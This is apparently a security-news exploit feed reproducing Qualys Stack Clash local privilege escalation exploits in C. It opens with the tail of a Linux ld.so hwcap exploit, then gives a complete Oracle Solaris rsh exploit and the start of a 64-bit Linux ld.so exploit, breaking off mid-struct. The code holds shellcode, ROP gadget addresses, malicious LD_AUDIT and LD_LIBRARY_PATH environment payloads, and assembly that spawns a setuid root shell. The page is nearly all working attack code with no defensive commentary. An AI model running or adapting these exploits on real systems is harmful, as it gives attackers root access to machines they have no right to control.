"ia64", "pbe" }; static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; static inline const char * my_hwcap_string (const unsigned int idx) { if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die(); return my_x86_cap_flags[idx]; } struct my_important_hwcaps { unsigned long hwcap_mask; size_t max_capstrlen; size_t pointers; size_t strings; size_t search_dirs; size_t search_dirs_0; }; struct my_link_map { const ElfW(Phdr) * l_phdr; ElfW(Half) l_phnum; ElfW(Addr) l_addr; }; /* We want to cache information about the searches for shared objects. */ enum r_dir_status { unknown, nonexisting, existing }; struct r_search_path_elem { /* This link is only used in the `all_dirs' member of `r_search_path'. */ struct r_search_path_elem *next; /* Strings saying where the definition came from. */ const char *what; const char *where; /* Basename for this search path element. The string must end with a slash character. */ const char *dirname; size_t dirnamelen; enum r_dir_status status[0]; }; struct r_strlenpair { const char *str; size_t len; }; /* Return an array of useful/necessary hardware capability names. */ static struct my_important_hwcaps my_important_hwcaps (const char * const platform, const size_t platform_len, const uint64_t hwcap, const uint64_t hwcap_mask, const struct my_link_map * sysinfo_map) { static const struct my_important_hwcaps err; /* Determine how many important bits are set. */ uint64_t masked = hwcap & hwcap_mask; size_t cnt = platform != NULL; size_t n, m; size_t total; struct r_strlenpair *result; /* Count the number of bits set in the masked value. */ for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n) if ((masked & (1ULL << n)) != 0) ++cnt; /* The system-supplied DSO can contain a note of type 2, vendor "GNU". This gives us a list of names to treat as fake hwcap bits. */ const char *dsocaps = NULL; size_t dsocapslen = 0; if (sysinfo_map != NULL) { const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr; const ElfW(Word) phnum = sysinfo_map->l_phnum; uint_fast16_t i; for (i = 0; i < phnum; ++i) if (phdr[i].p_type == PT_NOTE) { const ElfW(Addr) start = (phdr[i].p_vaddr + sysinfo_map->l_addr); /* The standard ELF note layout is exactly as the anonymous struct. The next element is a variable length vendor name of length VENDORLEN (with a real length rounded to ElfW(Word)), followed by the data of length DATALEN (with a real length rounded to ElfW(Word)). */ const struct { ElfW(Word) vendorlen; ElfW(Word) datalen; ElfW(Word) type; } *note = (const void *) start; while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz) { #define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word))) /* The layout of the type 2, vendor "GNU" note is as follows: .long .long (as mask >> _DL_FIRST_EXTRA). .byte .asciz . */ if (note->type == NT_GNU_HWCAP && note->vendorlen == sizeof "GNU" && !memcmp ((note + 1), "GNU", sizeof "GNU") && note->datalen > 2 * sizeof (ElfW(Word)) + 2) { const ElfW(Word) *p = ((const void *) (note + 1) + ROUND (sizeof "GNU")); cnt += *p++; ++p; /* Skip mask word. */ dsocaps = (const char *) p; /* Pseudo-string "name" */ dsocapslen = note->datalen - sizeof *p * 2; break; } note = ((const void *) (note + 1) + ROUND (note->vendorlen) + ROUND (note->datalen)); #undef ROUND } if (dsocaps != NULL) break; } } /* For TLS enabled builds always add 'tls'. */ ++cnt; /* Create temporary data structure to generate result table. */ if (cnt < 2) return err; if (cnt >= 32) return err; struct r_strlenpair temp[cnt]; m = 0; if (dsocaps != NULL) { /* dsocaps points to the .asciz string, and -1 points to the mask .long just before the string. */ const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1]; size_t len; const char *p; for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1) { uint_fast8_t bit = *p++; len = strlen (p); /* Skip entries that are not enabled in the mask word. */ if (mask & ((ElfW(Word)) 1 << bit)) { temp[m].str = p; temp[m].len = len; ++m; } else --cnt; } } for (n = 0; masked != 0; ++n) if ((masked & (1ULL << n)) != 0) { temp[m].str = my_hwcap_string (n); temp[m].len = strlen (temp[m].str); masked ^= 1ULL << n; ++m; } if (platform != NULL) { temp[m].str = platform; temp[m].len = platform_len; ++m; } temp[m].str = "tls"; temp[m].len = 3; ++m; assert (m == cnt); /* Determine the total size of all strings together. */ if (cnt == 1) total = temp[0].len + 1; else { total = temp[0].len + temp[cnt - 1].len + 2; if (cnt > 2) { total <<= 1; for (n = 1; n + 1 < cnt; ++n) total += temp[n].len + 1; if (cnt > 3 && (cnt >= sizeof (size_t) * 8 || total + (sizeof (*result) << 3) >= (1UL << (sizeof (size_t) * 8 - cnt + 3)))) return err; total <<= cnt - 3; } } /* The result structure: we use a very compressed way to store the various combinations of capability names. */ const size_t _sz = 1 << cnt; /* Now we are ready to install the string pointers and length. */ size_t max_capstrlen = 0; n = cnt; do { const size_t mask = 1 << --n; for (m = 1 << cnt; m > 0; ) { if ((--m & mask) != 0) max_capstrlen += temp[n].len + 1; break; } } while (n != 0); const size_t round_size = (2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status)) / sizeof (struct r_search_path_elem); if (hwcap_mask > ULONG_MAX) die(); const struct my_important_hwcaps ret = { .hwcap_mask = hwcap_mask, .max_capstrlen = max_capstrlen, .pointers = _sz * sizeof (*result), .strings = total, .search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *), .search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem) }; return ret; } static size_t my_bsearch(const void * const key, const void * const base, const size_t nmemb, const size_t size, int (* const compar)(const void *, const void *)) { if (!key) die(); if (!size) die(); if (!compar) die(); if (nmemb >= SSIZE_MAX / size) die(); if (!base != !nmemb) die(); if (!base || !nmemb) return 0; size_t low = 0; size_t high = nmemb - 1; while (low <= high) { const size_t mid = low + (high - low) / 2; if (mid >= nmemb) die(); const int cond = compar(key, base + mid * size); switch (cond) { case 0: return mid; case -1: if (mid <= 0) { if (mid != 0) die(); if (low != 0) die(); return low; } high = mid - 1; break; case +1: low = mid + 1; break; default: die(); } } if (low > nmemb) die(); return low; } static int cmp_important_hwcaps(const void * const _a, const void * const _b) { const struct my_important_hwcaps * const a = _a; const struct my_important_hwcaps * const b = _b; if (a->strings < b->strings) return -1; if (a->strings > b->strings) return +1; if (a->pointers < b->pointers) return -1; if (a->pointers > b->pointers) return +1; if (a->search_dirs_0 < b->search_dirs_0) return -1; if (a->search_dirs_0 > b->search_dirs_0) return +1; if (a->max_capstrlen < b->max_capstrlen) return -1; if (a->max_capstrlen > b->max_capstrlen) return +1; return 0; } struct audit_list { const char *name; struct audit_list *next; }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); { struct timeval tv; if (gettimeofday(&tv, NULL)) die(); srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec); } if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n", target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs, target->repl_lib, target->ignore_lib, target->ignore_origin); if (target->memalign_up % PAGESZ) die(); if (target->ignore_lib < 0 || target->ignore_origin < 0) die(); if (target->ignore_lib > 1 || target->ignore_origin > 1) die(); const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, X_OK)) die(); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = target->ignore_origin ? 0 : strlen(origin); { size_t i; for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR); if (!sysinfo_dso) die(); struct my_link_map sysinfo_map = { .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff, .l_phnum = sysinfo_dso->e_phnum, .l_addr = ULONG_MAX }; { uint_fast16_t i; for (i = 0; i < sysinfo_map.l_phnum; ++i) { const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i]; if (ph->p_type == PT_LOAD) { if (sysinfo_map.l_addr == ULONG_MAX) sysinfo_map.l_addr = ph->p_vaddr; } } } if (sysinfo_map.l_addr == ULONG_MAX) die(); sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr; const unsigned long hwcap = my_getauxval(AT_HWCAP); if (!hwcap) die(); struct my_important_hwcaps * important_hwcaps = NULL; size_t num_important_hwcaps = 0; { size_t max_important_hwcaps = 0; uint32_t hwcap_mask = 1; do { if (hwcap_mask & ~hwcap) continue; const uint64_t popcount = __builtin_popcount(hwcap_mask); if (popcount < 1) die(); if (popcount > 32) die(); if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ >= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue; const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map); if (!ihc.pointers) die(); const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); if (idx > num_important_hwcaps) die(); if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) { if (num_important_hwcaps >= max_important_hwcaps) { if (num_important_hwcaps != max_important_hwcaps) die(); if (max_important_hwcaps >= 65536) die(); max_important_hwcaps += 256; if (num_important_hwcaps >= max_important_hwcaps) die(); important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps)); if (!important_hwcaps) die(); } memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps)); important_hwcaps[idx] = ihc; num_important_hwcaps++; } } while (++hwcap_mask); } printf("num_important_hwcaps %zu\n", num_important_hwcaps); static struct { double probability; struct my_important_hwcaps ihc; size_t gwr, dst, cnt; } best; #define LIB "/lib" #define SEP_LIB ":" LIB #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1)) size_t gwr; for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1); const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; const struct my_important_hwcaps key = { .strings = gwr + bwr }; if (key.pointers) die(); size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); for (; idx < num_important_hwcaps; idx++) { const struct my_important_hwcaps ihc = important_hwcaps[idx]; if (ihc.strings < gwr + bwr) die(); if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue; if (ihc.search_dirs_0 >= STACK_RAND) continue; const size_t min = MIN(gwr, ihc.pointers); if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue; const double probability = (double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) / (double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0))); if (best.probability < probability) { best.probability = probability; best.ihc = ihc; best.gwr = gwr; best.dst = dst; best.cnt = cnt; printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n", ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability, ihc.hwcap_mask); } } } } if (!best.probability) die(); if (STACK_BASE <= MMAP_BASE) die(); const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2 - (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs); const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2); printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size); #define REL_LA "a" #define LDA "LD_AUDIT=" static char lda[MAX_ARG_STRLEN]; #define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA)) if (sizeof(struct audit_list) % MALLOC_ALIGN) die(); const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS; if (ldas >= MAX_ARG_STRINGS / 3) die(); #define INITIAL_STACK_EXPANSION (131072UL) const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas; if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die(); if (pads >= MAX_ARG_STRINGS / 3) die(); static char pad[MAX_ARG_STRLEN]; { const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads; if (padl >= sizeof(pad)) die(); if (padl <= 0) die(); memset(pad, ' ', padl-1); printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl); } { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', MAX_GWR); memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1); if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die(); #define LIB_TO_TMP "/../tmp/" if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die(); if (!best.gwr) die(); if (best.gwr >= MAX_GWR) die(); if (best.gwr % MALLOC_ALIGN) die(); size_t i; for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) { cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN); } if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if (llp[sizeof(llp)-1]) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask) >= sizeof(lhcm)) die(); { char * cp = mempcpy(lda, LDA, sizeof(LDA)-1); size_t i; for (i = 0; i < MAX_RLDAS; i++) { cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA)); } if (cp >= lda + sizeof(lda)) die(); if (*cp) die(); } static char rlda[MAX_ARG_STRLEN]; const size_t args = 1 + pads + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; size_t i; for (i = 0; i < pads; i++) { *ap++ = pad; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 2 + ldas + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; size_t i; for (i = 0; i < ldas; i++) { *ep++ = lda; } *ep++ = rlda; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); { #define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/" static const char * const abs_las[] = { ABS_LA_DIR "" REL_LA, ABS_LA_DIR "/" REL_LA, ABS_LA_DIR "/." REL_LA, ABS_LA_DIR "/.." REL_LA, }; size_t i; for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) { const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); { struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_uid != getuid()) die(); if (st.st_uid != geteuid()) die(); } { static const #include "la.so.h" if (sizeof(la_so) != la_so_len) die(); if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die(); } if (fchmod(fd, 04755)) die(); if (close(fd)) die(); } } size_t try; for (try = 1; try <= 65536; try++) { { char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1); size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list)); if (rldas > MAX_RLDAS) die(); if (rldas <= 0) die(); while (rldas--) { cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA)); } if (cp >= rlda + sizeof(rlda)) die(); *cp = '\0'; } if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); die(); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }
Categories: Exploits

Oracle Solaris 11.1 / 11.3 RSH - Local Root Stack Clash Exploit

SecurityLab.ru - Thu, 2017-06-29 00:00
/* * Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef timersub #define timersub(a, b, result) \ do { \ (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ if ((result)->tv_usec < 0) { \ --(result)->tv_sec; \ (result)->tv_usec += 1000000; \ } \ } while (0) #endif #define RSH "/usr/bin/rsh" static const struct target * target; static const struct target { const char * name; size_t s_first, s_last, s_step; size_t l_first, l_last, l_step; size_t p_first, p_last, p_step; size_t a, b; size_t i, j; } targets[] = { { .name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)", .s_first = 16*1024, .s_last = 44*1024, .s_step = 4096, .l_first = 192, .l_last = 512, .l_step = 16, .p_first = 0, .p_last = 8192, .p_step = 1, .a = 0, .b = 15, .j = 12, .i = 0x08052608 /* pop edx; pop ebp; ret */ }, { .name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)", .s_first = 12*1024, .s_last = 44*1024, .s_step = 4096, .l_first = 96, .l_last = 512, .l_step = 4, .p_first = 0, .p_last = 4096, .p_step = 4, .a = 0, .b = 3, .j = SIZE_MAX, .i = 0x07faa7ea /* call *0xc(%ebp) */ }, }; #define ROOTSHELL "ROOT" static const char shellcode[] = "\x31\xc0\x50\x68ROOT" "\x89\xe3\x50\x53\x89\xe2\x50\x50" "\x52\x53\xb0\x3C\x48\x50\xcd\x91" "\x31\xc0\x40\x50\x50\xcd\x91Z"; static volatile sig_atomic_t sigalarm; static void sigalarm_handler(const int signum __attribute__((__unused__))) { sigalarm = 1; } #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static int is_suid_root(const char * const file) { if (!file) die(); static struct stat sbuf; if (stat(file, &sbuf)) die(); if (!S_ISREG(sbuf.st_mode)) die(); return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID)); } static const char * build_lca(const size_t l) { static const size_t shellcode_len = sizeof(shellcode)-1; if (shellcode_len > 64) die(); if (shellcode_len % 16) die(); if (l < shellcode_len + target->a + target->b) die(); #define LCA_MAX 4096 if (l > LCA_MAX) die(); static char lca[128 + LCA_MAX]; strcpy(lca, "LC_ALL="); char * cp = memchr(lca, '\0', sizeof(lca)); if (!cp) die(); memcpy(cp, shellcode, shellcode_len); cp += shellcode_len; memset(cp, 'a', target->a); size_t o; for (o = target->a; l - o >= 4; o += 4) { if ((o - target->a) % 16 == target->j) { cp[o + 0] = '\xeb'; cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) : -(shellcode_len + target->a + target->j + 2); cp[o + 2] = 'j'; cp[o + 3] = 'j'; } else { if (sizeof(size_t) != 4) die(); *(size_t *)(cp + o) = target->i; } } cp += o; memset(cp, 'b', target->b); cp[target->b] = '\0'; if (strlen(lca) != 7 + shellcode_len + o + target->b) die(); return lca; } static const char * build_pad(const size_t p) { #define PAD_MAX 8192 if (p > PAD_MAX) die(); static char pad[64 + PAD_MAX]; strcpy(pad, "P="); char * const cp = memchr(pad, '\0', sizeof(pad)); if (!cp) die(); memset(cp, 'p', p); cp[p] = '\0'; if (strlen(pad) != 2 + p) die(); return pad; } static void fork_worker(const size_t s, const char * const lca, const char * const pad) { #define N_WORKERS 2 static size_t n_workers; static struct { pid_t pid; struct timeval start; } workers[N_WORKERS]; size_t i_worker; struct timeval start, stop, diff; if (n_workers >= N_WORKERS) { if (n_workers != N_WORKERS) die(); int is_suid_rootshell = 0; for (;;) { sigalarm = 0; #define TIMEOUT 10 alarm(TIMEOUT); int status = 0; const pid_t pid = waitpid(-1, &status, WUNTRACED); alarm(0); if (gettimeofday(&stop, NULL)) die(); if (pid <= 0) { if (pid != -1) die(); if (errno != EINTR) die(); if (sigalarm != 1) die(); } int found_pid = 0; for (i_worker = 0; i_worker < N_WORKERS; i_worker++) { const pid_t worker_pid = workers[i_worker].pid; if (worker_pid <= 0) die(); if (worker_pid == pid) { if (found_pid) die(); found_pid = 1; if (WIFEXITED(status) || WIFSIGNALED(status)) workers[i_worker].pid = 0; } else { timersub(&stop, &workers[i_worker].start, &diff); if (diff.tv_sec >= TIMEOUT) if (kill(worker_pid, SIGKILL)) die(); } } if (!found_pid) { if (pid != -1) die(); continue; } if (WIFEXITED(status)) { if (WEXITSTATUS(status) != EXIT_FAILURE) fprintf(stderr, "exited %d\n", WEXITSTATUS(status)); break; } else if (WIFSIGNALED(status)) { if (WTERMSIG(status) != SIGSEGV) fprintf(stderr, "signal %d\n", WTERMSIG(status)); break; } else if (WIFSTOPPED(status)) { fprintf(stderr, "stopped %d\n", WSTOPSIG(status)); is_suid_rootshell |= is_suid_root(ROOTSHELL); if (kill(pid, SIGKILL)) die(); continue; } fprintf(stderr, "unknown %d\n", status); die(); } if (is_suid_rootshell) { system("ls -lL " ROOTSHELL); exit(EXIT_SUCCESS); } n_workers--; } if (n_workers >= N_WORKERS) die(); static char rsh_link[64]; if (*rsh_link != '/') { const int rsh_fd = open(RSH, O_RDONLY); if (rsh_fd <= STDERR_FILENO) die(); if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link), "/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die(); if (access(rsh_link, R_OK | X_OK)) die(); if (*rsh_link != '/') die(); } static int null_fd = -1; if (null_fd <= -1) { null_fd = open("/dev/null", O_RDWR); if (null_fd <= -1) die(); } const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { const struct rlimit stack = { s, s }; if (setrlimit(RLIMIT_STACK, &stack)) die(); if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die(); if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die(); if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die(); static char * const argv[] = { rsh_link, "-?", NULL }; char * const envp[] = { (char *)lca, (char *)pad, NULL }; execve(*argv, argv, envp); die(); } if (gettimeofday(&start, NULL)) die(); for (i_worker = 0; i_worker < N_WORKERS; i_worker++) { const pid_t worker_pid = workers[i_worker].pid; if (worker_pid > 0) continue; if (worker_pid != 0) die(); workers[i_worker].pid = pid; workers[i_worker].start = start; n_workers++; return; } die(); } int main(const int argc, const char * const argv[]) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); if (geteuid() == 0) { if (is_suid_root(ROOTSHELL)) { if (setuid(0)) die(); if (setgid(0)) die(); static char * const argv[] = { "/bin/sh", NULL }; execve(*argv, argv, NULL); die(); } chown(*argv, 0, 0); chmod(*argv, 04555); for (;;) { raise(SIGSTOP); sleep(1); } die(); } if (symlink(*argv, ROOTSHELL)) { if (errno != EEXIST) die(); } if (argc != 2) { fprintf(stderr, "Usage: %s target\n", *argv); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { fprintf(stderr, "Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; fprintf(stderr, "Target %zu %s\n", i, target->name); } if (target->a >= 16) die(); if (target->b >= 16) die(); if (target->i <= 0) die(); if (target->j >= 16 || target->j % 4) { if (target->j != SIZE_MAX) die(); } static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler }; if (sigaction(SIGALRM, &sigalarm_action, NULL)) die(); size_t s; for (s = target->s_first; s <= target->s_last; s += target->s_step) { if (s % target->s_step) die(); size_t l; for (l = target->l_first; l <= target->l_last; l += target->l_step) { if (l % target->l_step) die(); const char * const lca = build_lca(l); fprintf(stderr, "s %zu l %zu\n", s, l); size_t p; for (p = target->p_first; p <= target->p_last; p += target->p_step) { if (p % target->p_step) die(); const char * const pad = build_pad(p); fork_worker(s, lca, pad); } } } fprintf(stderr, "Please try again\n"); die(); }
Categories: Exploits

Linux - 'ldso_hwcap_64' Local Root Stack Clash Exploit

SecurityLab.ru - Wed, 2017-06-28 23:59
/* * Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379 * Copyright (C) 2017 Qualys, Inc. * * my_important_hwcaps() adapted from elf/dl-hwcaps.c, * part of the GNU C Library: * Copyright (C) 2012-2017 Free Software Foundation, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ /** cat > la.c << "EOF" static void __attribute__ ((constructor)) _init (void) { __asm__ __volatile__ ( "addq $64, %rsp;" // setuid(0); "movq $105, %rax;" "movq $0, %rdi;" "syscall;" // setgid(0); "movq $106, %rax;" "movq $0, %rdi;" "syscall;" // dup2(0, 1); "movq $33, %rax;" "movq $0, %rdi;" "movq $1, %rsi;" "syscall;" // dup2(0, 2); "movq $33, %rax;" "movq $0, %rdi;" "movq $2, %rsi;" "syscall;" // execve("/bin/sh"); "movq $59, %rax;" "movq $0x0068732f6e69622f, %rdi;" "pushq %rdi;" "movq %rsp, %rdi;" "movq $0, %rdx;" "pushq %rdx;" "pushq %rdi;" "movq %rsp, %rsi;" "syscall;" // exit(0); "movq $60, %rax;" "movq $0, %rdi;" "syscall;" ); } EOF gcc -fpic -shared -nostdlib -Os -s -o la.so la.c xxd -i la.so > la.so.h **/ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGESZ ((size_t)4096) #define STACK_ALIGN ((size_t)16) #define MALLOC_ALIGN ((size_t)8) #define MAX_ARG_STRLEN ((size_t)128<<10) #define SUB_STACK_RAND ((size_t)8192) #define INITIAL_STACK_EXPANSION (131072UL) #define LDSO "/lib64/ld-linux-x86-64.so.2" static const struct target * target; static const struct target { const char * name; size_t vdso_vvar; int jump_ldso_pie; int CVE_2015_1593; int offset2lib; const char * system_dir; const char * repl_lib; unsigned int extra_page; int ignore_lib; int ignore_origin; int disable_audit; } targets[] = { { .name 